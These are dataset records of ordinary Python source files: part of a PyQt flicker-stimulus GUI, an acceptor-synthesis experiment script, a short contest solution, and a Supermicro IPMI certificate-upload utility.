self.Save()\n if \"Windows\" in platform.system():\n func_arg = (\"VisualStimuli.exe\",)\n else:\n func_arg = (\"./VisualStimuli.exe\",)\n self.process = Process(target=system, args=func_arg)\n self.process.start()\n\n def testVisual(self):\n t = QTimer(self)\n t.setInterval(10000)\n t.setSingleShot(True)\n t.timeout.connect(self.stopVisual)\n t.start()\n self.LaunchVisualStimuli()\n\n def stopVisual(self):\n if self.process:\n if self.process.is_alive():\n for proc in psutil.process_iter():\n # check whether the process name matches\n if proc.name() == \"VisualStimuli.exe\":\n proc.kill()\n self.process.kill()\n if self.backgroundFlicker in self.Flickers:\n self.Flickers.remove(self.backgroundFlicker)\n\n def help(self):\n self.helpLabel = QLabel(\"I.\\n\"\n + \" X (Horizontal), Y (Vertical) correspond to the position of top-left point of a Flicker (in pixel).\\n\"\n + \"II.\\n\"\n + \" Width, Height is the size of a Flicker (in pixel).\\n\"\n + \"III.\\n\"\n + \" Frequency in Hz and Phase in degrees.\\n\"\n + \"IV.\\n\"\n + \" You can choose in Type\\n\"\n + \" Random \\n\"\n + \" Sinous \\n\"\n + \" Square \\n\"\n + \" Root Square\\n\"\n + \" Maximum lenght sequence\\n\"\n + \"V.\\n\"\n + \" You can click on Add to create a new Flicker \\n\"\n + \"VI.\\n\"\n + \" Finally, click on RUN to run the Flicker program or TEST for a 10 seconds test.\\n\"\n + \" press 'Echap' to close all flickers. Or alternatively, click on 'Stop'\\n\"\n + \"Note: Please be sure that your screen can support the frequency you want for your flickers\\n\"\n + \" as a reminder the screen frequency must always be at least 2 times higher than the flicker's frequency\\n\"\n + \"THANK FOR READING !!!\")\n self.helpLabel.show()\n\n def closeEvent(self, a0) -> None:\n if self.process:\n if self.process.is_alive():\n self.process.kill()\n if self.backgroundFlicker in self.Flickers:\n self.Flickers.remove(self.backgroundFlicker)\n self.Save()\n QApplication.quit()\n return super().closeEvent(a0)\n\n def settings(self):\n self.setting.show()\n\n @pyqtSlot()\n def _apply_setting(self):\n if self.setting:\n if self.setting.seqlinkCheckBox.checkState():\n if len(self.Flickers) > 0:\n for f in self.Flickers[1:]:\n f.sequence = self.Flickers[0].sequence\n for row in self.Table.Rows.values():\n row.attrDict[\"sequence\"].hide()\n self.buttonSequence.show()\n else:\n self.buttonSequence.hide()\n for row in self.Table.Rows.values():\n row.attrDict[\"sequence\"].show()\n for f in self.Flickers[1:]:\n if f.sequence == self.Flickers[0].sequence:\n f.sequence = SequenceBlock(SequenceBlock(seq_type=SeqType.Active))\n self.setting.save()\n\n\nif __name__ == \"__main__\":\n app = QApplication(argv)\n window = MainApp()\n window.show()\n exit(app.exec_())\n", "repo_name": "neuroergoISAE/FlickersOnTop", "sub_path": "Interface2App2/MainApp.py", "file_name": "MainApp.py", "file_ext": "py", "file_size_in_byte": 18401, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 21, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 29, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 49, "usage_type": "call"}, {"api_name": "FlickerTable.FlickerTable", "line_number": 52, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QShortcut", "line_number": 53, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QKeySequence", "line_number": 53, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QShortcut", "line_number": 54, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QKeySequence", "line_number": 54, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 58, "usage_type": "call"}, {"api_name": "FlickerTable.Flicker", "line_number": 61, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 67, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.Key_Delete", "line_number": 77, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 77, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QCheckBox", "line_number": 80, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 94, "usage_type": "call"}, {"api_name": "Settings.Settings", "line_number": 95, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 100, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 101, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFrame.Panel", "line_number": 103, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 103, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame.Sunken", "line_number": 103, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 105, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 108, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 109, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 110, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 111, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 112, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 120, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 123, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 126, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 128, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 130, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 132, "usage_type": "call"}, {"api_name": "SequenceBuilder.SequenceBuilder", "line_number": 135, "usage_type": "call"}, {"api_name": "ScreenViewer.ScreenViewer", "line_number": 155, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 166, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 167, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 168, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 169, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QCursor.pos", "line_number": 177, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QCursor", "line_number": 177, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QTimer", "line_number": 181, "usage_type": "call"}, {"api_name": "FlickerTable.SequenceBlock", "line_number": 190, "usage_type": "call"}, {"api_name": "Flicker.SeqType", "line_number": 190, "usage_type": "name"}, {"api_name": "Flicker.SeqCondition", "line_number": 190, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 195, "usage_type": "call"}, {"api_name": "os.path", "line_number": 195, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.parse", "line_number": 196, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 196, "usage_type": "name"}, {"api_name": "FlickerTable.Flicker", "line_number": 200, "usage_type": "call"}, {"api_name": "FlickerTable.FreqType", "line_number": 220, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 222, "usage_type": "call"}, {"api_name": "FlickerTable.SequenceBlock", "line_number": 239, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.SubElement", "line_number": 240, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 240, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.SubElement", "line_number": 242, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 242, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.SubElement", "line_number": 243, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 243, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.SubElement", "line_number": 245, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 245, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.SubElement", "line_number": 248, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 248, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.Element", "line_number": 250, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 250, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.SubElement", "line_number": 252, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 252, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.SubElement", "line_number": 256, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 256, "usage_type": "name"}, {"api_name": "SequenceBuilder.SequenceBuilder", "line_number": 257, "usage_type": "argument"}, {"api_name": "FlickerTable.FreqType", "line_number": 259, "usage_type": "argument"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 261, "usage_type": "argument"}, {"api_name": "xml.etree.cElementTree.SubElement", "line_number": 262, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 262, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.SubElement", "line_number": 264, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 264, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.SubElement", "line_number": 266, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 266, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.SubElement", "line_number": 268, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 268, "usage_type": "name"}, {"api_name": "FlickerTable.SequenceBlock", "line_number": 271, "usage_type": "argument"}, {"api_name": "xml.etree.cElementTree.ElementTree", "line_number": 277, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 277, "usage_type": "name"}, {"api_name": "xml.dom.minidom.parseString", "line_number": 278, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 278, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.tostring", "line_number": 278, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 278, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getSaveFileName", "line_number": 283, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 283, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 284, "usage_type": "call"}, {"api_name": "os.path", "line_number": 284, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 287, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 287, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 288, "usage_type": "call"}, {"api_name": "os.path", "line_number": 288, "usage_type": "name"}, {"api_name": "FlickerTable.SequenceBlock", "line_number": 292, "usage_type": "call"}, {"api_name": "Flicker.SeqType", "line_number": 292, "usage_type": "name"}, {"api_name": "Flicker.SeqCondition", "line_number": 292, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 298, "usage_type": "call"}, {"api_name": "os.path", "line_number": 298, "usage_type": "name"}, {"api_name": "xml.etree.cElementTree.parse", "line_number": 299, "usage_type": "call"}, {"api_name": "xml.etree.cElementTree", "line_number": 299, "usage_type": "name"}, {"api_name": "FlickerTable.Flicker", "line_number": 303, "usage_type": "call"}, {"api_name": "FlickerTable.FreqType", "line_number": 322, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 324, "usage_type": "call"}, {"api_name": "FlickerTable.Flicker", "line_number": 348, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 349, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 352, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 356, "usage_type": "call"}, {"api_name": "os.system", "line_number": 356, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QTimer", "line_number": 360, "usage_type": "call"}, {"api_name": "psutil.process_iter", "line_number": 370, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 379, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication.quit", "line_number": 409, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 409, "usage_type": "name"}, {"api_name": "FlickerTable.SequenceBlock", "line_number": 431, "usage_type": "call"}, {"api_name": "Flicker.SeqType.Active", "line_number": 431, "usage_type": "attribute"}, {"api_name": "Flicker.SeqType", "line_number": 431, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 415, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 436, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 436, "usage_type": "argument"}, {"api_name": "sys.exit", "line_number": 439, "usage_type": "call"}]} {"seq_id": "74914225502", "text": "import itertools\nimport random\nfrom typing import Optional\nfrom utils import make_tree_like_acceptor, hopkroft_minimize_acceptor\nfrom q_learn_small_states import is_finish\nfrom acceptor import Acceptor\nimport pickle\nimport numpy as np\nfrom itertools import product\n\n\ndef count_synthesis(allowed_words: list, banned_words: list, alphabet: set,\n acceptor: Optional[Acceptor] = None) -> None:\n if not acceptor:\n acceptor = make_tree_like_acceptor(allowed_words, alphabet)\n acceptor = hopkroft_minimize_acceptor(acceptor)\n errors, succ = 0, 0\n print(len(acceptor.states))\n changed = True\n while changed:\n changed = False\n states = list(acceptor.states.keys())\n for state, letter in itertools.product(list(filter(lambda x: x != 'trash', states)), alphabet):\n if acceptor.get_new_state(state, letter) == 'trash':\n new_state = random.choice(list(filter(lambda x: x != 'trash' and x != state, states)))\n acceptor.set_transition(state, letter, new_state)\n new_acceptor = hopkroft_minimize_acceptor(acceptor)\n if any(map(lambda word: new_acceptor.accept_word(word), banned_words)):\n acceptor.set_transition(state, letter, 'trash')\n errors += 1\n else:\n acceptor = new_acceptor\n succ += 1\n changed = True\n break\n print(errors, succ, len(acceptor.states))\n\n\ndef count_learned(table, states_dict, states_actions_dict,\n acceptable_words, banned_words, alphabet):\n acceptor = make_tree_like_acceptor(acceptable_words, alphabet)\n acceptor = hopkroft_minimize_acceptor(acceptor)\n errors, succ = 0, 0\n done = False\n while not done:\n cnt = 0\n state_letter_prod = list(\n product(list(filter(lambda x: x != 'trash', list(acceptor.states.keys()))), alphabet))\n cnt = 0\n max_state_name_len = max(map(len, acceptor.states.keys()))\n state_array = np.array(['a' * (max_state_name_len * 3 + 2) for _ in state_letter_prod])\n for state_name, letter in state_letter_prod:\n state_array[cnt] = state_name + '_' + letter + '_' + acceptor.get_new_state(state_name, letter)\n cnt += 1\n state_array.sort()\n state_array = tuple(state_array)\n if state_array not in states_dict:\n errors += 1\n print(errors, succ, len(acceptor.states))\n print('reached wrong state')\n count_synthesis(acceptable_words, banned_words, alphabet, acceptor)\n break\n state_num = states_dict[state_array]\n action = np.argmax(table[state_num])\n state, new_state, letter = states_actions_dict[state_num][action]\n acceptor.set_transition(state, letter, new_state)\n new_acceptor = hopkroft_minimize_acceptor(acceptor)\n if any(map(lambda word: new_acceptor.accept_word(word), banned_words)):\n print('wrong')\n acceptor.set_transition(state, letter, 'trash')\n errors += 1\n states = list(acceptor.states.keys())\n for state, letter in itertools.product(list(filter(lambda x: x != 'trash', states)), alphabet):\n if acceptor.get_new_state(state, letter) == 'trash':\n new_state = random.choice(list(filter(lambda x: x != 'trash' and x != state, states)))\n acceptor.set_transition(state, letter, new_state)\n new_acceptor = hopkroft_minimize_acceptor(acceptor)\n if any(map(lambda word: new_acceptor.accept_word(word), banned_words)):\n acceptor.set_transition(state, letter, 'trash')\n errors += 1\n else:\n acceptor = new_acceptor\n succ += 1\n break\n else:\n acceptor = new_acceptor\n succ += 1\n\n done = is_finish(acceptor, banned_words)\n print(errors, succ, len(acceptor.states))\n\n\nif __name__ == '__main__':\n with open('data.pickle', 'rb') as f:\n table, states_dict, states_actions_dict = pickle.load(f)\n\n count_synthesis(\n # ['cbacb', 'abcbab', 'babcbabc'],\n # ['bcbacbacb', 'ba'],\n # ['acb', 'abac', 'cb', 'bb'],\n # ['bcabcba', 'bcbcabca'],\n ['bac', 'cacc', 'cab'],\n\n # ['abcbca', 'bcabc', 'b'],\n # ['a', 'b', 'c'],\n # ['aa', 'bc'],\n # ['bcab', 'acab', 'bac'],\n ['aaaa', 'ccc'],\n {'a', 'b', 'c'}\n )\n\n count_learned(table, states_dict, states_actions_dict,\n # ['cbacb', 'abcbab', 'babcbabc'],\n # ['bcbacbacb', 'ba'],\n # ['acb', 'abac', 'cb', 'bb'],\n # ['bcabcba', 'bcbcabca'],\n ['bac', 'cacc', 'cab'],\n\n # ['abcbca', 'bcabc', 'b'],\n # ['a', 'b', 'c'],\n # ['aa', 'bc'],\n # ['bcab', 'acab', 'bac'],\n ['aaaa', 'ccc'],\n {'a', 'b', 'c'}\n )\n", "repo_name": "ArtemYena07/acceptors", "sub_path": "number_of_steps.py", "file_name": "number_of_steps.py", "file_ext": "py", "file_size_in_byte": 4855, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Optional", "line_number": 13, "usage_type": "name"}, {"api_name": "acceptor.Acceptor", "line_number": 13, "usage_type": "name"}, {"api_name": "utils.make_tree_like_acceptor", "line_number": 15, "usage_type": "call"}, {"api_name": "utils.hopkroft_minimize_acceptor", "line_number": 16, "usage_type": "call"}, {"api_name": "acceptor.states", "line_number": 18, "usage_type": "attribute"}, {"api_name": "acceptor.states.keys", "line_number": 22, "usage_type": "call"}, {"api_name": "acceptor.states", "line_number": 22, "usage_type": "attribute"}, {"api_name": "itertools.product", "line_number": 23, "usage_type": "call"}, {"api_name": "acceptor.get_new_state", "line_number": 24, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 25, "usage_type": "call"}, {"api_name": "acceptor.set_transition", "line_number": 26, "usage_type": "call"}, {"api_name": "utils.hopkroft_minimize_acceptor", "line_number": 27, "usage_type": "call"}, {"api_name": "acceptor.set_transition", "line_number": 29, "usage_type": "call"}, {"api_name": "acceptor.states", "line_number": 36, "usage_type": "attribute"}, {"api_name": "utils.make_tree_like_acceptor", "line_number": 41, "usage_type": "call"}, {"api_name": "utils.hopkroft_minimize_acceptor", "line_number": 42, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 48, "usage_type": "call"}, {"api_name": "acceptor.states.keys", "line_number": 48, "usage_type": "call"}, {"api_name": "acceptor.states", "line_number": 48, "usage_type": "attribute"}, {"api_name": "acceptor.states.keys", "line_number": 50, "usage_type": "call"}, {"api_name": "acceptor.states", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "acceptor.get_new_state", "line_number": 53, "usage_type": "call"}, {"api_name": "acceptor.states", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 64, "usage_type": "call"}, {"api_name": "acceptor.set_transition", "line_number": 66, "usage_type": "call"}, {"api_name": "utils.hopkroft_minimize_acceptor", "line_number": 67, "usage_type": "call"}, {"api_name": "acceptor.set_transition", "line_number": 70, "usage_type": "call"}, {"api_name": "acceptor.states.keys", "line_number": 72, "usage_type": "call"}, {"api_name": "acceptor.states", "line_number": 72, "usage_type": "attribute"}, {"api_name": "itertools.product", "line_number": 73, "usage_type": "call"}, {"api_name": "acceptor.get_new_state", "line_number": 74, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 75, "usage_type": "call"}, {"api_name": "acceptor.set_transition", "line_number": 76, "usage_type": "call"}, {"api_name": "utils.hopkroft_minimize_acceptor", "line_number": 77, "usage_type": "call"}, {"api_name": "acceptor.set_transition", "line_number": 79, "usage_type": "call"}, {"api_name": "q_learn_small_states.is_finish", "line_number": 89, "usage_type": "call"}, {"api_name": "acceptor.states", "line_number": 90, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 95, "usage_type": "call"}]} {"seq_id": "28224676190", "text": "from collections import defaultdict\nn, x = map(int, input().split())\nl = input().split()\nt = defaultdict(int)\nfor _ in range(n):\n t[str(x)] += 1\n if t[str(x)] > 1:\n break\n x = int(l[x-1])\nprint(len(t))", "repo_name": "blueletter123456789/atc", "sub_path": "abc228/b/b.py", "file_name": "b.py", "file_ext": "py", "file_size_in_byte": 217, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.defaultdict", "line_number": 4, "usage_type": "call"}]} {"seq_id": "23892791649", "text": "import os\nimport argparse\nimport requests\nimport logging\nfrom datetime import datetime\nfrom lxml import etree\nfrom urllib.parse import urlparse\n\nREQUEST_TIMEOUT = 5.0\n\nLOGIN_URL = '%s/cgi/login.cgi'\nIPMI_CERT_INFO_URL = '%s/cgi/ipmi.cgi'\nUPLOAD_CERT_URL = '%s/cgi/upload_ssl.cgi'\nREBOOT_IPMI_URL = '%s/cgi/BMCReset.cgi'\nCONFIG_CERT_URL = '%s/cgi/url_redirect.cgi?url_name=config_ssl'\n\n\ndef login(session, url, username, password):\n \"\"\"\n Log into IPMI interface\n :param session: Current session object\n :type session requests.session\n :param url: base-URL to IPMI\n :param username: username to use for logging in\n :param password: password to use for logging in\n :return: bool\n \"\"\"\n login_data = {\n 'name': username,\n 'pwd': password\n }\n\n login_url = LOGIN_URL % url\n try:\n result = session.post(login_url, login_data, timeout=REQUEST_TIMEOUT, verify=False)\n except ConnectionError:\n return False\n if not result.ok:\n return False\n if '/cgi/url_redirect.cgi?url_name=mainmenu' not in result.text:\n return False\n\n return True\n\n\ndef get_ipmi_cert_info(session, url):\n \"\"\"\n Verify existing certificate information\n :param session: Current session object\n :type session requests.session\n :param url: base-URL to IPMI\n :return: dict\n \"\"\"\n timestamp = datetime.utcnow().strftime('%a %d %b %Y %H:%M:%S GMT')\n\n cert_info_data = {\n 'SSL_STATUS.XML': '(0,0)',\n 'time_stamp': timestamp # 'Thu Jul 12 2018 19:52:48 GMT+0300 (FLE Daylight Time)'\n }\n\n #for cookie in session.cookies:\n # print(cookie)\n ipmi_info_url = IPMI_CERT_INFO_URL % url\n try:\n result = session.post(ipmi_info_url, cert_info_data, timeout=REQUEST_TIMEOUT, verify=False)\n except ConnectionError:\n return False\n if not result.ok:\n return False\n\n root = etree.fromstring(result.text)\n # \n status = root.xpath('//IPMI/SSL_INFO/STATUS')\n if not status:\n return False\n # Since xpath will return a list, just pick the first one from it.\n status = status[0]\n has_cert = int(status.get('CERT_EXIST'))\n has_cert = bool(has_cert)\n if has_cert:\n valid_from = status.get('VALID_FROM')\n valid_until = status.get('VALID_UNTIL')\n\n return {\n 'has_cert': has_cert,\n 'valid_from': valid_from,\n 'valid_until': valid_until\n }\n\ndef get_ipmi_cert_valid(session, url):\n \"\"\"\n Verify existing certificate information\n :param session: Current session object\n :type session requests.session\n :param url: base-URL to IPMI\n :return: bool\n \"\"\"\n timestamp = datetime.utcnow().strftime('%a %d %b %Y %H:%M:%S GMT')\n\n cert_info_data = {\n 'SSL_VALIDATE.XML': '(0,0)',\n 'time_stamp': timestamp # 'Thu Jul 12 2018 19:52:48 GMT+0300 (FLE Daylight Time)'\n }\n\n #for cookie in session.cookies:\n # print(cookie)\n ipmi_info_url = IPMI_CERT_INFO_URL % url\n try:\n result = session.post(ipmi_info_url, cert_info_data, timeout=REQUEST_TIMEOUT, verify=False)\n except ConnectionError:\n return False\n if not result.ok:\n return False\n\n root = etree.fromstring(result.text)\n # \n status = root.xpath('//IPMI/SSL_INFO')\n if not status:\n return False\n # Since xpath will return a list, just pick the first one from it.\n status = status[0]\n valid_cert = int(status.get('VALIDATE'))\n return bool(valid_cert)\n\ndef upload_cert(session, url, key_file, cert_file):\n \"\"\"\n Send X.509 certificate and private key to server\n :param session: Current session object\n :type session requests.session\n :param url: base-URL to IPMI\n :param key_file: filename to X.509 certificate private key\n :param cert_file: filename to X.509 certificate PEM\n :return:\n \"\"\"\n with open(key_file, 'rb') as filehandle:\n key_data = filehandle.read()\n with open(cert_file, 'rb') as filehandle:\n cert_data = filehandle.read()\n files_to_upload = [\n ('/tmp/cert.pem', ('cert.pem', cert_data, 'application/octet-stream')),\n ('/tmp/key.pem', ('key.pem', key_data, 'application/octet-stream'))\n ]\n\n upload_cert_url = UPLOAD_CERT_URL % url\n try:\n result = session.post(upload_cert_url, files=files_to_upload, timeout=REQUEST_TIMEOUT, verify=False)\n except ConnectionError:\n return False\n if not result.ok:\n return False\n\n if 'Content-Type' not in result.headers.keys() or result.headers['Content-Type'] != 'text/html':\n # On failure, Content-Type will be 'text/plain' and 'Transfer-Encoding' is 'chunked'\n return False\n if 'CONFPAGE_RESET' not in result.text:\n return False\n return True\n\n\ndef reboot_ipmi(session, url):\n timestamp = datetime.utcnow().strftime('%a %d %b %Y %H:%M:%S GMT')\n\n reboot_data = {\n 'time_stamp': timestamp # 'Thu Jul 12 2018 19:52:48 GMT+0300 (FLE Daylight Time)'\n }\n\n upload_cert_url = REBOOT_IPMI_URL % url\n try:\n result = session.post(upload_cert_url, reboot_data, timeout=REQUEST_TIMEOUT, verify=False)\n except ConnectionError:\n return False\n if not result.ok:\n return False\n\n #print(\"Url: %s\" % upload_cert_url)\n #print(result.headers)\n #print(result.text)\n if '' not in result.text:\n return False\n\n return True\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Update Supermicro IPMI SSL certificate')\n parser.add_argument('--ipmi-url', required=True,\n help='Supermicro IPMI 2.0 URL')\n parser.add_argument('--key-file', required=True,\n help='X.509 Private key filename')\n parser.add_argument('--cert-file', required=True,\n help='X.509 Certificate filename')\n parser.add_argument('--username', required=True,\n help='IPMI username with admin access')\n parser.add_argument('--password', required=True,\n help='IPMI user password')\n parser.add_argument('--no-reboot', action='store_true',\n help='The default is to reboot the IPMI after upload for the change to take effect.')\n parser.add_argument('--quiet', action='store_true',\n help='Do not output anything if successful')\n args = parser.parse_args()\n\n # Confirm args\n if not os.path.isfile(args.key_file):\n print(\"--key-file '%s' doesn't exist!\" % args.key_file)\n exit(2)\n if not os.path.isfile(args.cert_file):\n print(\"--cert-file '%s' doesn't exist!\" % args.cert_file)\n exit(2)\n if args.ipmi_url[-1] == '/':\n args.ipmi_url = args.ipmi_url[0:-1]\n\n if not args.quiet:\n # Enable reuest logging\n logging.basicConfig()\n logging.getLogger().setLevel(logging.DEBUG)\n requests_log = logging.getLogger(\"requests.packages.urllib3\")\n requests_log.setLevel(logging.DEBUG)\n requests_log.propagate = True\n\n # Start the operation\n requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)\n session = requests.session()\n if not login(session, args.ipmi_url, args.username, args.password):\n print(\"Login failed. Cannot continue!\")\n exit(2)\n\n\n # Set mandatory cookies:\n url_parts = urlparse(args.ipmi_url)\n # Cookie: langSetFlag=0; language=English; SID=; mainpage=configuration; subpage=config_ssl\n mandatory_cookies = {\n 'langSetFlag': '0',\n 'language': 'English',\n 'mainpage': 'configuration',\n 'subpage': 'config_ssl'\n }\n for cookie_name, cookie_value in mandatory_cookies.items():\n session.cookies.set(cookie_name, cookie_value, domain=url_parts.hostname)\n\n cert_info = get_ipmi_cert_info(session, args.ipmi_url)\n if not cert_info:\n print(\"Failed to extract certificate information from IPMI!\")\n exit(2)\n if not args.quiet and cert_info['has_cert']:\n print(\"There exists a certificate, which is valid until: %s\" % cert_info['valid_until'])\n\n # Go upload!\n if not upload_cert(session, args.ipmi_url, args.key_file, args.cert_file):\n print(\"Failed to upload X.509 files to IPMI!\")\n exit(2)\n\n cert_valid = get_ipmi_cert_valid(session, args.ipmi_url)\n if not cert_valid:\n print(\"Uploads failed validation\")\n exit(2)\n\n if not args.quiet:\n print(\"Uploaded files ok.\")\n\n cert_info = get_ipmi_cert_info(session, args.ipmi_url)\n if not cert_info:\n print(\"Failed to extract certificate information from IPMI!\")\n exit(2)\n if not args.quiet and cert_info['has_cert']:\n print(\"After upload, there exists a certificate, which is valid until: %s\" % cert_info['valid_until'])\n\n if not args.no_reboot:\n if not args.quiet:\n print(\"Rebooting IPMI to apply changes.\")\n if not reboot_ipmi(session, args.ipmi_url):\n print(\"Rebooting failed! Go reboot it manually?\")\n\n if not args.quiet:\n print(\"All done!\")\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "esrojasbg/ansible-monorepo", "sub_path": "files/acme.sh/ipmi.py", "file_name": "ipmi.py", "file_ext": "py", "file_size_in_byte": 9202, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime.utcnow", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "name"}, {"api_name": "lxml.etree.fromstring", "line_number": 71, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 71, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 98, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 98, "usage_type": "name"}, {"api_name": "lxml.etree.fromstring", "line_number": 115, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 115, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 161, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 161, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 203, "usage_type": "call"}, {"api_name": "os.path", "line_number": 203, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 206, "usage_type": "call"}, {"api_name": "os.path", "line_number": 206, 